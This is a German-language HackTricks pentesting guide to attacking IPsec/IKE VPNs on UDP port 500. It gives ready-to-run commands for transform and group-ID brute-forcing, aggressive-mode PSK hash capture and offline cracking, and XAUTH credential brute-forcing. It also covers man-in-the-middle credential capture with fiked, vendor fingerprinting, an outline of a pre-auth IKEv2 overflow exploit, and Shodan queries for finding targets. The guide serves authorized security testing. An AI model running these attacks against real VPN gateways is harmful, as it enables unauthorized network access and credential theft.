500/udp - Pentesting IPsec/IKE VPN

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

IPsec gilt weithin als die Haupttechnologie, um die Kommunikation zwischen Netzwerken (LAN-to-LAN) und von entfernten Benutzern zum Netzwerk-Gateway (Remotezugriff) zu sichern und bildet das Rückgrat von Unternehmens-VPN-Lösungen.

Die Herstellung einer Sicherheitsassoziation (SA) zwischen zwei Punkten wird von IKE verwaltet, das unter dem Dach von ISAKMP arbeitet, einem Protokoll für Authentifizierung und Schlüsselaustausch. Dieser Prozess erfolgt in mehreren Phasen:

  • Phase 1: Ein sicherer Kanal wird zwischen zwei Endpunkten aufgebaut. Dies geschieht durch die Verwendung eines Pre-Shared Key (PSK) oder Zertifikaten, wobei entweder main mode, der drei Nachrichtenpaare umfasst, oder aggressive mode verwendet wird.
  • Phase 1.5: Obwohl nicht obligatorisch, überprüft diese Phase, bekannt als Extended Authentication Phase, die Identität des Benutzers, der sich verbinden möchte, indem ein Benutzername und Passwort verlangt werden.
  • Phase 2: Diese Phase ist der Aushandlung der Parameter zum Schutz der Daten mit ESP und AH gewidmet. Sie erlaubt die Verwendung von Algorithmen, die sich von denen in Phase 1 unterscheiden, um Perfect Forward Secrecy (PFS) zu gewährleisten und die Sicherheit zu erhöhen.

Standardport: 500/udp

Häufig ebenfalls offen: 4500/udp (NAT Traversal)

Entdecke den Dienst mit nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Eine gültige Transformation finden

Die IPSec-Konfiguration kann so eingerichtet sein, dass nur eine oder wenige Transformationen akzeptiert werden. Eine Transformation ist eine Kombination von Werten. Jede Transformation enthält eine Reihe von Attributen wie DES oder 3DES als den Verschlüsselungsalgorithmus, SHA oder MD5 als den Integritätsalgorithmus, einen pre-shared key als den Authentifizierungstyp, Diffie-Hellman 1 oder 2 als den Schlüssel-Verteilungsalgorithmus und 28800 Sekunden als die Lebensdauer.

Als Erstes müssen Sie also eine gültige Transformation finden, damit der Server mit Ihnen kommuniziert. Dazu können Sie das Tool ike-scan verwenden. Standardmäßig arbeitet ike-scan im main mode und sendet ein Paket an das Gateway mit einem ISAKMP-Header und einem einzelnen proposal mit acht transforms darin.

Je nach Antwort können Sie einige Informationen über den Endpunkt erhalten:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Wie du in der vorherigen Antwort sehen kannst, gibt es ein Feld namens AUTH mit dem Wert PSK. Das bedeutet, dass das vpn mit einem preshared key konfiguriert ist (und das ist sehr gut für einen pentester).
Der Wert der letzten Zeile ist ebenfalls sehr wichtig:

  • 0 returned handshake; 0 returned notify: Das bedeutet, dass das target kein IPsec gateway ist.
  • 1 returned handshake; 0 returned notify: Das bedeutet, dass das target für IPsec konfiguriert ist und bereit ist, IKE negotiation durchzuführen, und eine oder mehrere der von dir vorgeschlagenen transforms akzeptabel sind (ein gültiger transform wird in der Ausgabe angezeigt).
  • 0 returned handshake; 1 returned notify: VPN gateways antworten mit einer notify-Nachricht, wenn keiner der transforms akzeptabel ist (obwohl einige Gateways das nicht tun, in diesem Fall sollten weitere Analysen und ein überarbeiteter Vorschlag versucht werden).

In diesem Fall haben wir bereits eine gültige transformation, aber wenn du im 3. Fall bist, musst du ein wenig brute-force betreiben, um eine gültige transformation zu finden:

Zuerst musst du alle möglichen transformations erstellen:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Und brute-force anschließend jede einzelne mit ike-scan (das kann mehrere Minuten dauern):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Wenn der brute-force nicht funktioniert hat, reagiert der Server vielleicht sogar auf gültige transforms ohne handshakes. Dann könntest du denselben brute-force mit aggressive mode versuchen:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Hoffentlich wird eine gültige Transformation zurückgegeben.
Du kannst denselben same attack mit iker.py.
Du könntest auch versuchen, brute force transformations mit ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

In DH Group: 14 = 2048-bit MODP und 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in diesem Fall). Das --trans-Format ist $Enc,$Hash,$Auth,$DH

Cisco empfiehlt, DH-Gruppen 1 und 2 zu vermeiden, da sie nicht stark genug sind. Experten gehen davon aus, dass Staaten mit großen Ressourcen die Verschlüsselung von Daten, die diese schwachen Gruppen verwenden, relativ leicht brechen können. Dies geschieht durch eine spezielle Methode, die sie darauf vorbereitet, die Schlüssel schnell zu knacken. Obwohl der Aufbau dieser Methode sehr teuer ist, ermöglicht sie diesen mächtigen Staaten, die verschlüsselten Daten in Echtzeit zu lesen, wenn eine nicht starke Gruppe verwendet wird (z. B. 1,024-bit oder kleiner).

Server fingerprinting

Anschließend können Sie ike-scan verwenden, um den vendor des Geräts zu identifizieren. Das Tool sendet einen initialen Vorschlag und stoppt das Replaying. Dann analysiert es die Zeitdifferenz zwischen den vom Server empfangenen Nachrichten und dem passenden Antwortmuster; der pentester kann so den VPN-Gateway-vendor erfolgreich fingerprinten. Außerdem verwenden einige VPN-Server den optionalen Vendor ID (VID) payload mit IKE.

Geben Sie die gültige Transformation an, falls nötig (mit –trans)

Wenn IKE den vendor erkennt, gibt es diesen aus:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Das kann auch mit dem nmap-Skript ike-version erreicht werden

IKEv2-spezifisch: WatchGuard Vendor ID version fingerprinting

Einige IKEv2-Daemons fügen nicht-standardmäßige Vendor ID-Payloads in die IKE_SA_INIT-Antwort ein. WatchGuard Fireware OS kodiert die Appliance-Version/Build direkt im VID, was single-packet, pre-auth fingerprinting ermöglicht.

  • Transport: UDP/500 (und UDP/4500 für NAT-T)
  • Paket: IKE_SA_INIT-Antwort enthält ein oder mehrere Vendor ID-Payloads
  • WatchGuard-Format: 32-Byte-Hash gefolgt von Base64, das z. B. zu VN=12.11.3 BN=719894 decodiert

Beispiel roher Bytes aus einer WatchGuard VID-Payload (die letzten 12 Bytes sind Base64):

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

Schnelle Extraktion in einer Shell, wenn du den base64 tail hast:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

Notes

  • Dies ist nicht Teil eines IKEv2 RFC. Betrachten Sie es als eine vendorspezifische Eigenheit, um schnell exponierte/verwundbare Fireware OS-Versionen zu erfassen.
  • Sie müssen nur eine IKE_SA_INIT-Antwort hervorrufen; eine Authentifizierung ist nicht erforderlich.

Ermittlung der korrekten ID (Gruppenname)

Um den Hash erfassen zu dürfen, benötigen Sie eine gültige Transformation, die Aggressive mode unterstützt, und die korrekte ID (Gruppenname). Wahrscheinlich kennen Sie den gültigen Gruppennamen nicht, daher müssen Sie ihn brute-force’n.\
Dafür empfehle ich Ihnen zwei Methoden:

Bruteforce der ID mit ike-scan

Versuchen Sie zunächst, eine Anfrage mit einer gefälschten ID zu senden, um den Hash zu sammeln (“-P”):

ike-scan -P -M -A -n fakeID <IP>

Wenn kein hash zurückgegeben wird, dann wird diese Methode des brute forcing wahrscheinlich funktionieren. Wenn jedoch ein hash zurückgegeben wird, bedeutet das, dass für eine gefälschte ID ein falscher hash zurückgesendet wird, sodass diese Methode nicht zuverlässig ist, um die ID zu brute-forcen. Zum Beispiel könnte ein falscher hash zurückgegeben werden (dies passiert in modernen Versionen):

Aber wie gesagt, wenn kein hash zurückgegeben wird, solltest du versuchen, gängige group names mit ike-scan zu brute-forcen.

Dieses Script wird versuchen, mögliche IDs zu brute-forcen und gibt die IDs zurück, bei denen ein gültiger handshake zurückgegeben wird (das wird ein gültiger group name sein).

Wenn du eine spezifische transformation entdeckt hast, füge sie im ike-scan command hinzu. Und wenn du mehrere transformations entdeckt hast, füge gern eine neue Schleife hinzu, um alle zu versuchen (du solltest alle ausprobieren, bis eine davon richtig funktioniert).

Du kannst das Wörterbuch von ikeforce oder das in seclists der gängigen group names verwenden, um sie zu brute-forcen:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Oder verwende dieses dict (ist eine Kombination der anderen 2 dicts ohne Wiederholungen):

Bruteforcing ID with Iker

iker.py verwendet ebenfalls ike-scan, um mögliche Gruppennamen zu bruteforce. Es folgt einer eigenen Methode, um eine gültige ID basierend auf der Ausgabe von ike-scan zu finden.

Bruteforcing ID with ikeforce

ikeforce.py ist ein Tool, das auch verwendet werden kann, um IDs zu bruteforce. Dieses Tool wird versuchen, verschiedene vulnerabilities zu exploit, die verwendet werden könnten, um zwischen einer gültigen und einer ungültigen ID zu unterscheiden (es kann false positives und false negatives geben, deshalb bevorzuge ich, wenn möglich, die ike-scan-Methode).

Standardmäßig sendet ikeforce zu Beginn einige zufällige IDs, um das Verhalten des Servers zu prüfen und die anzuwendende Taktik zu bestimmen.

  • Die erste Methode besteht darin, die Gruppennamen zu bruteforce, indem nach der Information Dead Peer Detection DPD von Cisco-Systemen gesucht wird (diese Info wird nur vom Server zurückgesendet, wenn der Gruppenname korrekt ist).
  • Die zweite Methode prüft die Anzahl der Antworten, die auf jeden Versuch gesendet werden, da manchmal mehr Pakete gesendet werden, wenn die korrekte ID verwendet wird.
  • Die dritte Methode besteht darin, nach “INVALID-ID-INFORMATION” als Antwort auf eine falsche ID zu suchen.
  • Schließlich, wenn der Server auf die Prüfungen überhaupt nicht antwortet, wird ikeforce versuchen, den Server zu bruteforce und prüfen, ob der Server beim Senden der korrekten ID mit irgendeinem Paket antwortet.
    Offensichtlich ist das Ziel des Brute-Forcens der ID, den PSK zu erhalten, wenn man eine gültige ID hat. Dann muss man mit der ID und dem PSK das XAUTH bruteforce (falls es aktiviert ist).

Wenn du eine spezifische Transformation entdeckt hast, füge sie in den ikeforce-Befehl ein. Und wenn du mehrere Transformationen entdeckt hast, kannst du gern eine neue Schleife hinzufügen, um alle auszuprobieren (du solltest alle ausprobieren, bis eine davon richtig funktioniert).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(Aus dem Buch Network Security Assessment: Know Your Network): Es ist auch möglich, gültige Benutzernamen zu erhalten, durch Sniffing der Verbindung zwischen VPN client und server, da das erste aggressive mode packet, das die client ID enthält, im Klartext gesendet wird

Aggressive Mode identity leakage

Aggressive Mode muss die ID früh senden, damit das Gateway den richtigen PSK auswählen kann, wenn multiple groups/users existieren. Das bedeutet, die identity is exposed pre-auth, im Gegensatz zu Main Mode, wo sie in späteren Paketen verschlüsselt wird. Du kannst sie schnell extrahieren:

ike-scan -A <IP>
# Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld)

Wenn Aggressive Mode aktiviert ist, erfassen Sie einen crackable PSK-Handshake und cracken ihn offline (hashcat mode 5400):

ike-scan -A --pskcrack=handshake.txt <IP>
hashcat -m 5400 handshake.txt /path/to/wordlist.txt

Wiederhergestellte PSKs werden oft als Anmeldeinformationen für andere Dienste (SSH, VPN client auth) wiederverwendet, teste sie daher gegen exponierte Dienste.

Erfassen & Knacken des Hashes

Schließlich: Wenn du eine gültige Transformation und den Gruppennamen gefunden hast und der aggressive mode erlaubt ist, kannst du sehr einfach den knackbaren Hash abgreifen:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Der hash wird in hash.txt gespeichert.

Du kannst psk-crack, john (mit ikescan2john.py) und hashcat verwenden, um den hash zu crack:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE kombiniert mit einem Pre-Shared Key (PSK) wird häufig für Zwecke der Gruppen-Authentifizierung eingesetzt. Diese Methode wird durch XAuth (Extended Authentication) ergänzt, das eine zusätzliche Ebene der Benutzer-Authentifizierung einführt. Solche Authentifizierung nutzt typischerweise Dienste wie Microsoft Active Directory, RADIUS oder vergleichbare Systeme.

Bei der Umstellung auf IKEv2 wird stattdessen EAP (Extensible Authentication Protocol) zur Authentifizierung von Benutzern verwendet. Diese Änderung unterstreicht eine Weiterentwicklung der Authentifizierungspraktiken in sicheren Kommunikationsprotokollen.

MitM im lokalen Netzwerk zum Abfangen von Anmeldedaten

Du kannst die Login-Daten mit fiked erfassen und prüfen, ob ein Standard-Benutzername vorhanden ist (Du musst den IKE-Verkehr zu fiked zum sniffing umleiten, was mit Hilfe von ARP spoofing möglich ist, more info). Fiked wird als VPN-Endpunkt fungieren und die XAuth-Anmeldedaten erfassen:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Versuche außerdem, mit IPSec einen MitM-Angriff durchzuführen und allen Traffic zu port 500 zu blockieren; wenn der IPSec-Tunnel nicht aufgebaut werden kann, wird der Traffic möglicherweise unverschlüsselt gesendet.

Brute-forcing XAUTH username ad password with ikeforce

Um die XAUTH zu brute-forcen (wenn du einen gültigen group name id und das psk kennst) kannst du einen username oder eine Liste von usernames und eine Liste von passwords verwenden:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Auf diese Weise wird ikeforce versuchen, sich mit jeder Kombination aus username:password zu verbinden.

Wenn du eine oder mehrere gültige transforms gefunden hast, verwende sie einfach wie in den vorherigen Schritten.

Authentifizierung mit einem IPSEC VPN

In Kali wird VPNC verwendet, um IPsec-Tunnel aufzubauen. Die profiles müssen im Verzeichnis /etc/vpnc/ liegen. Du kannst diese Profile mit dem Befehl vpnc starten.

Die folgenden Befehle und Konfigurationen veranschaulichen den Ablauf zum Einrichten einer VPN-Verbindung mit VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In dieser Konfiguration:

  • Ersetze [VPN_GATEWAY_IP] durch die tatsächliche IP-Adresse des VPN-Gateways.
  • Ersetze [VPN_CONNECTION_ID] durch die Kennung der VPN-Verbindung.
  • Ersetze [VPN_GROUP_SECRET] durch das Group-Secret des VPN.
  • Ersetze [VPN_USERNAME] und [VPN_PASSWORD] durch die VPN-Authentifizierungsdaten.
  • [PID] symbolisiert die Prozess-ID, die beim Start von vpnc vergeben wird.

Stelle sicher, dass beim Konfigurieren des VPN tatsächliche, sichere Werte anstelle der Platzhalter verwendet werden.

IKEv2: Hinweise zur Ausnutzung — pre-auth IDi/CERT-Verarbeitungsfehler

Moderne VPN-Appliances bieten IKEv2 häufig auf UDP/500 (und UDP/4500 für NAT-T) an. Eine häufige Angriffsfläche vor der Authentifizierung ist das Parsen von Identification (IDi)- und Certificate-Payloads während IKE_SA_AUTH.

Überblick über den Exploit-Ablauf bei vorhandenem verwundbaren IKEv2-Parser:

  • Sende ein gültiges IKE_SA_INIT, um Transforms zu verhandeln und den Diffie–Hellman-Austausch abzuschließen.
  • Sende danach ein IKE_SA_AUTH mit einem IDi, das den Fehler auslöst (z. B. eine übergroße Identification, die vor der Zertifikatsprüfung in einen Fixgrößen-Stackpuffer kopiert wird).
  • Die daraus resultierende Speicherbeschädigung kann Kontrolle über gespeicherte Register und die Rücksprungadresse ermöglichen.
  • Mit NX aktiviert, aber anderen Mitigations fehlend (keine PIE/Canaries), baue eine ROP-Chain, um mprotect auf einer Stack-Seite aufzurufen und die Ausführung dann auf eingespritzten Shellcode oder auf einen vorhandenen Interpreter (z. B. /usr/bin/python3) umzulenken, falls kein /bin/sh verfügbar ist.

Beispielhafte Standard-Transforms, beobachtet bei einigen IKEv2-Appliances (WatchGuard Fireware OS 12.11.3):

  • SHA2-256–AES(256-bit) with DH Group 14
  • SHA1–AES(256-bit) with DH Group 5
  • SHA1–AES(256-bit) with DH Group 2
  • SHA1–3DES with DH Group 2

Praktische Tipps

  • Ziele sowohl UDP/500 als auch UDP/4500 an; NAT-T-Server antworten möglicherweise nur auf 4500.
  • Erhöhe Empfangspuffer und Timeouts für UDP-basierte Scanner, um Paketverlust zu vermeiden.
  • Wenn der Dienst benutzerdefinierte Vendor IDs offenbart (siehe Abschnitt oben), nutze diese, um verwundbare Versionen schnell zu erkennen, bevor du Exploit-Traffic versuchst.

Reference Material

Shodan

  • port:500 IKE
  • port:4500 "UDP"
  • udp port:500,4500 "WatchGuard"

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks